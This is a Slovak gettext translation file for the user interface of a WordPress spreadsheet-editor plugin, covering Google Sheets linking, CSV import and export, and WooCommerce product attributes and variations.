msgid "Note. This works in Google Chrome only." msgstr "Poznámka. Toto funguje iba v prehliadači Google Chrome." #: universal-sheet/views/edit-google-sheets-modal.php:8 #, fuzzy msgid "" "Add this code at the beginning of the .htaccess file in the root directory " "of your website. It is required for authenticating requests between Google " "Sheets and WordPress" msgstr "" "Pridajte tento kód na začiatok súboru .htaccess v koreňovom adresári vašej " "webovej lokality. Vyžaduje sa na overenie žiadostí medzi Tabuľkami Google a " "WordPress" #: universal-sheet/views/edit-google-sheets-modal.php:13 #, fuzzy msgid "" "Install the \"WP Sheet Editor\" chrome extension. Install" msgstr "" "Nainštalujte chrome rozšírenie "WP Sheet Editor". Inštalácia" #: universal-sheet/views/edit-google-sheets-modal.php:14 #, fuzzy msgid "" "Open Google Sheets. Click here" msgstr "" "Otvorte Tabuľky Google. Kliknite tu" #: universal-sheet/views/edit-google-sheets-modal.php:15 #, fuzzy msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." msgstr "" "V Tabuľkách Google > horný panel s nástrojmi. Otvorte možnosť \"WordPress\"." #: universal-sheet/views/edit-google-sheets-modal.php:16 #, fuzzy msgid "" "Copy this access link and paste it in Google Sheets. Get quick access link" msgstr "" "Skopírujte tento prístupový odkaz a prilepte ho do Tabuliek Google. Získajte odkaz na rýchly " "prístup" #: universal-sheet/views/edit-google-sheets-modal.php:18 #, fuzzy msgid "" "You must use it privately for security reasons, this link expires after one " "usage." msgstr "" "Z bezpečnostných dôvodov ho musíte použiť súkromne, platnosť tohto odkazu " "vyprší po jednom použití." #: universal-sheet/views/export-modal.php:8 #, fuzzy msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "Funkcia exportu nie je kompatibilná s vašou webovou stránkou. Uistite sa, že " "WordPress a všetky doplnky a témy sú aktuálne." #: universal-sheet/views/export-modal.php:11 #: universal-sheet/views/export-modal.php:19 #, fuzzy msgid "Export to CSV" msgstr "Exportovať do CSV" #: universal-sheet/views/export-modal.php:22 #, fuzzy msgid "What columns do you want to export?" msgstr "Aké stĺpce chcete exportovať?" #: universal-sheet/views/export-modal.php:31 #, fuzzy msgid "Select active columns" msgstr "Vyberte aktívne stĺpce" #: universal-sheet/views/export-modal.php:31 woocommerce/inc/attributes.php:187 #: woocommerce/inc/attributes.php:203 #, fuzzy msgid "Select all" msgstr "Vybrať všetko" #: universal-sheet/views/export-modal.php:31 #, fuzzy msgid "Unselect all" msgstr "Odznačiť všetko" #: universal-sheet/views/export-modal.php:35 #, fuzzy msgid "I understand it will export all the rows from my current search." msgstr "Chápem, že sa exportujú všetky riadky z môjho aktuálneho vyhľadávania." #: universal-sheet/views/export-modal.php:35 #, fuzzy msgid "" "For example, if you searched for posts by \"author = Mark\" using the search " "tool, we will export only posts with \"author Mark\"" msgstr "" "Ak ste napríklad pomocou vyhľadávacieho nástroja hľadali príspevky podľa " "\"autor = Mark\", exportujeme iba príspevky s \"autor Mark\"" #: universal-sheet/views/export-modal.php:38 #, fuzzy msgid "What app will you use to edit this file? (optional)" msgstr "Akú aplikáciu použijete na úpravu tohto súboru? (voliteľné)" #: universal-sheet/views/export-modal.php:40 msgid "--" msgstr "--" #: universal-sheet/views/export-modal.php:41 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/views/export-modal.php:42 #, fuzzy msgid "Other versions of Microsoft Excel" msgstr "Iné verzie programu Microsoft Excel" #: universal-sheet/views/export-modal.php:43 #, fuzzy msgid "Google Sheets" msgstr "Tabuľky Google" #: universal-sheet/views/export-modal.php:44 #, fuzzy msgid "Other" msgstr "Iné" #: universal-sheet/views/export-modal.php:51 #, fuzzy msgid "Name of this export (optional)" msgstr "Názov tohto exportu (voliteľné)" #: universal-sheet/views/export-modal.php:51 #, fuzzy msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Uložíme aktuálny vyhľadávací dopyt a nastavenia exportu a tento export " "môžete v budúcnosti vykonať jedným kliknutím pomocou rozbaľovacej ponuky v " "exportnej ponuke" #: universal-sheet/views/export-modal.php:67 #, fuzzy msgid "Start new export" msgstr "Spustiť nový export" #: universal-sheet/views/import-modal.php:9 #, fuzzy msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "Funkcia importu nie je kompatibilná s vašou webovou stránkou. Uistite sa, že " "WordPress a všetky doplnky a témy sú aktuálne." #: universal-sheet/views/import-modal.php:12 #: universal-sheet/views/import-modal.php:22 #, fuzzy msgid "Import csv" msgstr "Importovať súbor csv" #: universal-sheet/views/import-modal.php:23 #, fuzzy msgid "Source" msgstr "Zdroj" #: universal-sheet/views/import-modal.php:26 #, fuzzy msgid "CSV file from my computer" msgstr "CSV súbor z môjho počítača" #: universal-sheet/views/import-modal.php:27 #, fuzzy msgid "CSV file from url" msgstr "súbor CSV z adresy URL" #: universal-sheet/views/import-modal.php:28 #, fuzzy msgid "Copy & paste from another spreadsheet or table" msgstr "Skopírujte a prilepte z inej tabuľky alebo tabuľky" #: universal-sheet/views/import-modal.php:29 #, fuzzy msgid "CSV file in the server" msgstr "CSV súbor na serveri" #: universal-sheet/views/import-modal.php:33 #, fuzzy msgid "CSV file" msgstr "súbor CSV" #: universal-sheet/views/import-modal.php:35 #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:46 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:94 #: universal-sheet/views/import-modal.php:152 #, fuzzy msgid "Next" msgstr "Ďalšie" #: universal-sheet/views/import-modal.php:43 #, fuzzy msgid "Copy and Paste into the spreadsheet below" msgstr "Skopírujte a prilepte do tabuľky nižšie" #: universal-sheet/views/import-modal.php:49 #, fuzzy msgid "CSV file location" msgstr "Umiestnenie súboru CSV" #: universal-sheet/views/import-modal.php:53 #, fuzzy msgid "Show advanced options" msgstr "Zobraziť rozšírené možnosti" #: universal-sheet/views/import-modal.php:56 #, fuzzy msgid "Separator" msgstr "Oddeľovač" #: universal-sheet/views/import-modal.php:60 #, fuzzy msgid "Start from row number:" msgstr "Začnite od čísla riadku:" #: universal-sheet/views/import-modal.php:60 #, fuzzy msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Ak zastavíte import s cieľom upraviť súbor CSV alebo zmeniť rýchlosť importu," " môžete spustiť nový import a pokračovať tam, kde ste prestali." #: universal-sheet/views/import-modal.php:64 #, fuzzy msgid "Decode quotes?" msgstr "Dekódovať úvodzovky?" #: universal-sheet/views/import-modal.php:67 #, fuzzy msgid "Auto retry failed batches?" msgstr "Automatické opakovanie neúspešných dávok?" #: universal-sheet/views/import-modal.php:67 #, fuzzy msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Súbor importujeme v dávkach (t.j. 4 riadky každých pár sekúnd). Keď jedna " "dávka zlyhá, zvyčajne import pozastavíme a opýtame sa vás, či chcete import " "zopakovať alebo zrušiť. Túto možnosť vyberte, ak chcete automaticky opakovať." " Pozor, v kroku 3 importu musíte vybrať možnosť aktualizácie existujúcich " "riadkov, aby sme mohli zopakovať a preskočiť to, čo bolo importované úspešne," " a skúsiť len to, čo zlyhalo, ak v kroku 3 importu nevyberiete možnosť " "aktualizácie, každý opakovaný pokus môže duplikovať niektoré predtým " "importované riadky." #: universal-sheet/views/import-modal.php:72 #, fuzzy msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our " "documentation here." msgstr "" "Tip. Na stiahnutie súboru CSV a zobrazenie dostupných stĺpcov a formátu " "môžete použiť nástroj „export“.
                  Našu " "dokumentáciu si môžete prečítať tu ." #: universal-sheet/views/import-modal.php:78 #, fuzzy msgid "Select columns to import" msgstr "Vyberte stĺpce na import" #: universal-sheet/views/import-modal.php:79 #, fuzzy msgid "" "Important. We only detected one column in the CSV file. If this is incorrect," " follow these steps to fix it" msgstr "" "Dôležité. V súbore CSV sme zistili iba jeden stĺpec. Ak je to nesprávne, " "opravte to podľa týchto krokov" #: universal-sheet/views/import-modal.php:80 #, fuzzy msgid "We automatically detected all the columns." msgstr "Automaticky sme rozpoznali všetky stĺpce." #: universal-sheet/views/import-modal.php:80 #, fuzzy msgid "Import all the columns" msgstr "Importujte všetky stĺpce" #: universal-sheet/views/import-modal.php:80 #, fuzzy msgid "or" msgstr "alebo" #: universal-sheet/views/import-modal.php:80 #, fuzzy msgid "Select individual columns to import" msgstr "Vyberte jednotlivé stĺpce na import" #: universal-sheet/views/import-modal.php:82 #, fuzzy msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Tip. Ak ste upravili informácie z tejto lokality, mali by ste importovať " "upravené stĺpce a záznam_id. Neimportujte stĺpce, ktoré neboli upravené" #: universal-sheet/views/import-modal.php:84 #, fuzzy msgid "Unselect all columns" msgstr "Zrušte výber všetkých stĺpcov" #: universal-sheet/views/import-modal.php:85 #, fuzzy msgid "CSV Column" msgstr "Stĺpec CSV" #: universal-sheet/views/import-modal.php:85 #, fuzzy msgid "WordPress field" msgstr "Pole WordPress" #: universal-sheet/views/import-modal.php:87 #, fuzzy msgid "Example: " msgstr "Príklad:" #: universal-sheet/views/import-modal.php:93 #: universal-sheet/views/import-modal.php:151 #: universal-sheet/views/import-modal.php:159 #, fuzzy msgid "Previous" msgstr "Predchádzajúce" #: universal-sheet/views/import-modal.php:97 #, fuzzy msgid "Do you want to update or create items?" msgstr "Chcete aktualizovať alebo vytvoriť položky?" #: universal-sheet/views/import-modal.php:100 #, fuzzy msgid "Create new items and update existing items" msgstr "Vytvorte nové položky a aktualizujte existujúce položky" #: universal-sheet/views/import-modal.php:101 #, fuzzy msgid "Import all rows as new" msgstr "Importovať všetky riadky ako nové" #: universal-sheet/views/import-modal.php:102 #, fuzzy msgid "Only create new items, ignore existing items" msgstr "Vytvárajte iba nové položky, existujúce položky ignorujte" #: universal-sheet/views/import-modal.php:103 #, fuzzy msgid "Update existing items, ignore new items" msgstr "Aktualizujte existujúce položky, ignorujte nové položky" #: universal-sheet/views/import-modal.php:106 #, fuzzy msgid "How do we find existing items to update?" msgstr "Ako nájdeme existujúce položky na aktualizáciu?" #: universal-sheet/views/import-modal.php:110 #, fuzzy msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "V poli CSV a poli WP nájdeme riadky s rovnakou hodnotou.
                  T.j. Produkty s " "rovnakým SKU alebo ID." #: universal-sheet/views/import-modal.php:112 #, fuzzy msgid "" "You selected a column from the CSV file below but the column is not
                  " "being imported. Please go to the previous step and select the column to be " "imported.
                  Hypothetical example, if you want to update existing products " "with same ID, you need to import the ID column otherwise we don't have the " "IDs to find them." msgstr "" "Vybrali ste stĺpec zo súboru CSV nižšie, ale stĺpec sa
                  neimportuje. " "Prejdite na predchádzajúci krok a vyberte stĺpec, ktorý chcete importovať." "
                  Hypotetický príklad, ak chcete aktualizovať existujúce produkty s " "rovnakým ID, musíte importovať stĺpec ID, inak nemáme ID, aby sme ich našli." #: universal-sheet/views/import-modal.php:114 #, fuzzy msgid "CSV Field" msgstr "Pole CSV" #: universal-sheet/views/import-modal.php:120 #, fuzzy msgid "WordPress Field" msgstr "Pole WordPress" #: universal-sheet/views/import-modal.php:138 #, fuzzy msgid "Field 2: CSV Field" msgstr "Pole 2: Pole CSV" #: universal-sheet/views/import-modal.php:144 #, fuzzy msgid "Field 2: WordPress Field" msgstr "Pole 2: Pole WordPress" #: universal-sheet/views/import-modal.php:155 #, fuzzy msgid "Final step" msgstr "Posledný krok" #: universal-sheet/views/import-modal.php:156 #, fuzzy msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "1. Čítame súbor správne? Tu je náhľad na prvých 5 riadkov zo súboru." #: universal-sheet/views/import-modal.php:158 #, fuzzy msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Pred vykonaním importu si vytvorte zálohu, aby ste sa mohli vrátiť v " "prípade, že ste použili nesprávne nastavenia alebo bol súbor nesprávny. " "Import uloží informácie priamo." #: universal-sheet/views/import-modal.php:170 #, fuzzy msgid "The preview is fine, start import" msgstr "Náhľad je v poriadku, spustite import" #: universal-sheet/views/import-modal.php:171 #, fuzzy msgid "Cancel import" msgstr "Zrušiť import" #: universal-sheet/views/import-modal.php:174 #, fuzzy msgid "Importing" msgstr "Importuje sa" #: universal-sheet/views/import-modal.php:182 #, fuzzy msgid "View log" msgstr "Prezrieť záznam" #: woocommerce/inc/attributes.php:42 woocommerce/inc/attributes.php:487 #, fuzzy msgid "Product attributes" msgstr "Vlastnosti produktu" #: woocommerce/inc/attributes.php:154 #, fuzzy msgid "Change attribute settings" msgstr "Zmeňte nastavenia atribútov" #: woocommerce/inc/attributes.php:162 #, fuzzy msgid "What setting do you want to change?" msgstr "Aké nastavenie chcete zmeniť?" #: woocommerce/inc/attributes.php:164 #, fuzzy msgid "Is Visible?" msgstr "Je viditeľný?" #: woocommerce/inc/attributes.php:164 #, fuzzy msgid "Used for Variations?" msgstr "Používa sa na variácie?" #: woocommerce/inc/attributes.php:167 #, fuzzy msgid "New value" msgstr "Nová hodnota" #: woocommerce/inc/attributes.php:169 #, fuzzy msgid "No" msgstr "Nie" #: woocommerce/inc/attributes.php:169 #, fuzzy msgid "Yes" msgstr "Áno" #: woocommerce/inc/attributes.php:172 #, fuzzy msgid "What attribute do you want to edit?" msgstr "Aký atribút chcete upraviť?" #: woocommerce/inc/attributes.php:461 #, fuzzy msgid "Custom attribute: %s" msgstr "Vlastný atribút: %s" #: woocommerce/inc/attributes.php:474 #, fuzzy msgid "Enter multiple attributes separated by |" msgstr "Zadajte viacero atribútov oddelených znakom |" #: woocommerce/inc/attributes.php:497 woocommerce/inc/attributes.php:499 #, fuzzy msgid "Edit attributes" msgstr "Upravte atribúty" #: woocommerce/inc/attributes.php:500 #, fuzzy msgid "" "Note: Separate values with the character %s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  " "If you are editing the attributes of variations, the variation must be " "enabled, otherwise the attributes won't be saved." msgstr "" "Poznámka: Hodnoty oddeľte znakom %s
                  Globálne atribúty odporúčame použiť," " ak ich budete používať v mnohých produktoch. Vytvorte globálny atribút
                  Globálne atribúty majú v " "tabuľke svoje vlastné stĺpce. Môžete ich upraviť v stĺpcoch (rýchlejšie) " "alebo pomocou tohto kontextového okna.
                  Ak upravujete atribúty variácií, variácia musí byť povolená, inak " "sa atribúty neuložia." #: woocommerce/inc/attributes.php:535 woocommerce/inc/attributes.php:536 #: woocommerce/inc/downloadable.php:226 woocommerce/inc/downloadable.php:227 #: woocommerce/inc/variations.php:415 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:803 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:804 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:881 #, fuzzy msgid "Name" msgstr "názov" #: woocommerce/inc/attributes.php:535 #, fuzzy msgid "Is visible?" msgstr "Je viditeľný?" #: woocommerce/inc/attributes.php:535 #, fuzzy msgid "Used for variation?" msgstr "Používa sa na variáciu?" #: woocommerce/inc/downloadable.php:111 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:602 #, fuzzy msgid "Downloadable" msgstr "Stiahnuteľné" #: woocommerce/inc/downloadable.php:128 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:736 #, fuzzy msgid "Download limit" msgstr "Limit sťahovania" #: woocommerce/inc/downloadable.php:140 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:748 #, fuzzy msgid "Download expiry" msgstr "Vypršanie platnosti sťahovania" #: woocommerce/inc/downloadable.php:152 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:760 #, fuzzy msgid "Download type" msgstr "Typ sťahovania" #: woocommerce/inc/downloadable.php:156 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 #, fuzzy msgid "Standard Product" msgstr "Štandardný produkt" #: woocommerce/inc/downloadable.php:157 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:765 #, fuzzy msgid "Application/Software" msgstr "Aplikácia/Softvér" #: woocommerce/inc/downloadable.php:158 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:766 #, fuzzy msgid "Music" msgstr "Hudba" #: woocommerce/inc/downloadable.php:166 #, fuzzy msgid "Download files : names" msgstr "Stiahnite si súbory: mená" #: woocommerce/inc/downloadable.php:174 #, fuzzy msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Toto je voliteľné. Ak chcete použiť názov z adries URL, nechajte pole " "prázdne. Zadajte viacero mien oddelených čiarkami" #: woocommerce/inc/downloadable.php:182 #, fuzzy msgid "Download files : URLs" msgstr "Stiahnite si súbory: URL" #: woocommerce/inc/downloadable.php:189 #, fuzzy msgid "Enter multiple URLs separated by commas" msgstr "Zadajte viacero adries URL oddelených čiarkami" #: woocommerce/inc/downloadable.php:198 woocommerce/inc/downloadable.php:202 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:775 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:779 #, fuzzy msgid "Download files" msgstr "Stiahnite si súbory" #: woocommerce/inc/downloadable.php:200 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:777 #, fuzzy msgid "Edit files" msgstr "Upravte súbory" #: woocommerce/inc/downloadable.php:203 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:780 #, fuzzy msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "Skopírujte súbory z tohto produktu: (Potom musíte zmeny uložiť.)" #: woocommerce/inc/downloadable.php:203 #: woocommerce/views/spreadsheet-create-variations-modal.php:20 #: woocommerce/views/spreadsheet-create-variations-modal.php:47 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:780 #, fuzzy msgid "Select product..." msgstr "Vybrať produkt..." #: woocommerce/inc/downloadable.php:226 woocommerce/inc/downloadable.php:227 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:803 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:804 #, fuzzy msgid "File (url or path)" msgstr "súbor (adresa URL alebo cesta)" #: woocommerce/inc/downloadable.php:253 #, fuzzy msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Tieto súbory uložíme. Existujúce súbory budú prepísané. Zadajte iba adresu " "URL súboru, môžete zadať viacero adries URL oddelených čiarkou." #: woocommerce/inc/downloadable.php:257 #, fuzzy msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Nový súbor pripojíme k existujúcim súborom v produktoch. Zadajte iba adresu " "URL súboru, môžete zadať viacero adries URL oddelených čiarkou." #: woocommerce/inc/downloadable.php:337 woocommerce/inc/variations.php:1058 #, fuzzy msgid "Please select a product." msgstr "Vyberte produkt." #: woocommerce/inc/downloadable.php:361 #, fuzzy msgid "Files saved." msgstr "Súbory boli uložené." #: woocommerce/inc/downloadable.php:364 #, fuzzy msgid "The files could not be saved." msgstr "Súbory nebolo možné uložiť." #: woocommerce/inc/import-export.php:53 #, fuzzy msgid "Skip broken images?" msgstr "Preskočiť poškodené obrázky?" #: woocommerce/inc/import-export.php:53 #, fuzzy msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "V predvolenom nastavení sa import zastaví, keď produkt odkazuje na poškodené " "obrázky a vy musíte opraviť problém v súbore a spustiť nový import. Povoľte " "túto možnosť a my vám umožníme importovať produkty bez obrázkov, keď je " "adresa URL obrázka poškodená" #: woocommerce/inc/import-export.php:60 #, fuzzy msgid "Downloads" msgstr "K stiahnutiu" #: woocommerce/inc/import-export.php:61 #, fuzzy msgid "Attributes" msgstr "Atribúty" #: woocommerce/inc/import-export.php:186 #, fuzzy msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Tu je vzorový CSV obsahujúci všetky " "typy produktov." #: woocommerce/inc/import-export.php:331 #, fuzzy msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %s: %s. Please correct it and start a new import" msgstr "" "Jeden riadok variácie má nadradený produkt, ktorý neexistuje. Stĺpec " "\"rodič\" obsahuje %s: %s. Opravte ho a spustite nový import" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:9 #: woocommerce/views/spreadsheet-create-variations-modal.php:69 #: wp-sheet-editor/dev/inc/api/editor.php:72 msgid "Create variations" msgstr "Vytvoriť variáciu" #: woocommerce/inc/variations.php:30 #, fuzzy msgid "Create and copy variations for variable products." msgstr "Vytvárajte a kopírujte variácie pre variabilné produkty." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Zobraziť variácie" #: woocommerce/inc/variations.php:40 #, fuzzy msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Keď je toto povolené, variácie produktov sa zobrazia a budete ich môcť " "upravovať." #: woocommerce/inc/variations.php:367 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:824 #, fuzzy msgid "Variation description" msgstr "Popis variácie" #: woocommerce/inc/variations.php:378 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 #, fuzzy msgid "Variation enabled?" msgstr "Variácia povolená?" #: woocommerce/inc/variations.php:395 woocommerce/inc/variations.php:397 #: woocommerce/inc/variations.php:399 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:861 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:863 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:865 #, fuzzy msgid "Default attributes" msgstr "Predvolené atribúty" #: woocommerce/inc/variations.php:400 #, fuzzy msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Atribúty sa zobrazujú ako rozbaľovacie ponuky na stránke produktu, kde si " "používateľ môže vybrať farby variácií, veľkosti a ľubovoľný atribút. Tu " "môžete definovať predvolené možnosti vybraté v rozbaľovacích ponukách.
                  " "Hodnoty oddeľte znakom %s
                  Funguje to len pre produkty s premenlivými " "hodnotami a musia mať variácie, inak sa predvolené atribúty neuložia." #: woocommerce/inc/variations.php:812 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:139 #, fuzzy msgid "Variation: %s" msgstr "Variácia: %s" #: woocommerce/inc/variations.php:865 #, fuzzy msgid "The source product doesn't have variations." msgstr "Zdrojový produkt nemá variácie." #: woocommerce/inc/variations.php:1049 wp-sheet-editor/dev/inc/ajax.php:138 #, fuzzy msgid "Request not allowed. Try again later." msgstr "Žiadosť nie je povolená. Skúste to znova neskôr." #: woocommerce/inc/variations.php:1091 woocommerce/inc/variations.php:1180 #, fuzzy msgid "%s variations created." msgstr "Počet vytvorených variácií: %s." #: woocommerce/inc/variations.php:1100 #, fuzzy msgid "Target products not found." msgstr "Cieľové produkty sa nenašli." #: woocommerce/inc/variations.php:1195 #, fuzzy msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "Možnosť vytvárať variácie pre každú kombináciu atribútov vyžaduje " "WooCommerce 3.0 alebo vyšší. Aktualizujte WooCommerce." #: woocommerce/inc/variations.php:1199 #, fuzzy msgid "User not allowed" msgstr "Používateľ nie je povolený" #: woocommerce/inc/variations.php:1203 #, fuzzy msgid "Data missing, try again later." msgstr "Chýbajú údaje, skúste to znova neskôr." #: woocommerce/inc/variations.php:1220 #, fuzzy msgid "Wrong product type. Make sure it is a variable product." msgstr "Nesprávny typ produktu. Uistite sa, že ide o variabilný produkt." #: woocommerce/inc/variations.php:1333 #, fuzzy msgid "Please select a source product." msgstr "Vyberte zdrojový produkt." #: woocommerce/inc/variations.php:1481 #, fuzzy msgid "Error on row ID: %d - %s" msgstr "Chyba v ID riadku: %d – %s" #: woocommerce/inc/variations.php:1488 #, fuzzy msgid "Please correct the error and save again." msgstr "Opravte chybu a znova uložte." #: woocommerce/views/spreadsheet-create-variations-modal.php:7 #, fuzzy msgid "Variations Manager" msgstr "Manažér variácií" #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:14 #, fuzzy msgid "Copy variations" msgstr "Kopírovať variácie" #: woocommerce/views/spreadsheet-create-variations-modal.php:15 #: woocommerce/views/spreadsheet-create-variations-modal.php:70 #, fuzzy msgid "Tutorial" msgstr "Návod" #: woocommerce/views/spreadsheet-create-variations-modal.php:19 #, fuzzy msgid "Copy variations and attributes from this product:" msgstr "Skopírujte variácie a atribúty z tohto produktu:" #: woocommerce/views/spreadsheet-create-variations-modal.php:26 #, fuzzy msgid "I don't want to copy all the variations" msgstr "Nechcem kopírovať všetky variácie" #: woocommerce/views/spreadsheet-create-variations-modal.php:26 #, fuzzy msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "V predvolenom nastavení skopírujeme všetky atribúty a všetky variácie a " "nahradíme existujúce variácie. Túto možnosť môžete aktivovať, aby ste " "skopírovali jednotlivé variácie a pridali ich k existujúcim variáciám v " "cieľovom produkte." #: woocommerce/views/spreadsheet-create-variations-modal.php:30 #, fuzzy msgid "Which variations do you want to copy?" msgstr "Ktoré variácie chcete skopírovať?" #: woocommerce/views/spreadsheet-create-variations-modal.php:38 #: woocommerce/views/spreadsheet-create-variations-modal.php:74 #, fuzzy msgid "The variations are for these products: " msgstr "Variácie sú pre tieto produkty:" #: woocommerce/views/spreadsheet-create-variations-modal.php:38 #: woocommerce/views/spreadsheet-create-variations-modal.php:74 #, fuzzy msgid "Copy the variations into these products." msgstr "Skopírujte variácie do týchto produktov." #: woocommerce/views/spreadsheet-create-variations-modal.php:41 #: woocommerce/views/spreadsheet-create-variations-modal.php:77 #, fuzzy msgid "Select individual products" msgstr "Vyberte jednotlivé produkty" #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:78 #, fuzzy msgid "Select all the products from a search" msgstr "Vyberte všetky produkty z vyhľadávania" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #, fuzzy msgid "All the products in the store" msgstr "Všetky produkty na predajni" #: woocommerce/views/spreadsheet-create-variations-modal.php:45 #: woocommerce/views/spreadsheet-create-variations-modal.php:81 #, fuzzy msgid "I understand it will update the products from my search." msgstr "Rozumiem, že aktualizuje produkty z môjho vyhľadávania." #: woocommerce/views/spreadsheet-create-variations-modal.php:45 #: woocommerce/views/spreadsheet-create-variations-modal.php:81 #, fuzzy msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Ak ste napríklad pomocou vyhľadávacieho nástroja hľadali príspevky podľa " "autora = Označiť, aktualizujeme iba príspevky s autorom Markom" #: woocommerce/views/spreadsheet-create-variations-modal.php:52 #, fuzzy msgid "Show advanced options " msgstr "Zobraziť rozšírené možnosti" #: woocommerce/views/spreadsheet-create-variations-modal.php:55 #, fuzzy msgid "Use prices from simple product (parent) on the variations" msgstr "Na variácie použite ceny z jednoduchého produktu (nadradeného)." #: woocommerce/views/spreadsheet-create-variations-modal.php:55 #, fuzzy msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Jednoduché produkty môžete previesť na variabilné produkty. Variácie môžete " "skopírovať do jednoduchého produktu a ceny z jednoduchého produktu ponechať " "na variáciách." #: woocommerce/views/spreadsheet-create-variations-modal.php:59 #, fuzzy msgid "Do not copy the variation images?" msgstr "Nekopírovať obrázky variácií?" #: woocommerce/views/spreadsheet-create-variations-modal.php:59 #, fuzzy msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Túto možnosť povoľte, ak chcete skopírovať všetky údaje variácie okrem " "obrázka variácie." #: woocommerce/views/spreadsheet-create-variations-modal.php:79 #, fuzzy msgid "All the variable products" msgstr "Všetky variabilné produkty" #: woocommerce/views/spreadsheet-create-variations-modal.php:90 #, fuzzy msgid "Create variations for every combination of attributes?" msgstr "Vytvoriť variácie pre každú kombináciu atribútov?" #: woocommerce/views/spreadsheet-create-variations-modal.php:93 #, fuzzy msgid "Create this number of variations" msgstr "Vytvorte tento počet variácií" #: woocommerce/views/spreadsheet-search-on-variation.php:2 #, fuzzy msgid "Search on variations?" msgstr "Hľadať variácie?" #: woocommerce/views/spreadsheet-search-on-variation.php:2 #, fuzzy msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Všetky parametre sa použijú na vyhľadávanie variácií namiesto hlavných " "produktov." #: woocommerce/views/variation-metabox-shortcut.php:9 #, fuzzy msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Všetky tieto variácie si môžete zobraziť a upraviť " "naraz v našej tabuľke. Otvoriť v tabuľke" #: woocommerce/woocommerce.php:179 msgid "Remove duplicates by sku (delete the latest)" msgstr "Odstrániť duplikáty podľa kódu produktu (vymazať najnovšie)" #: 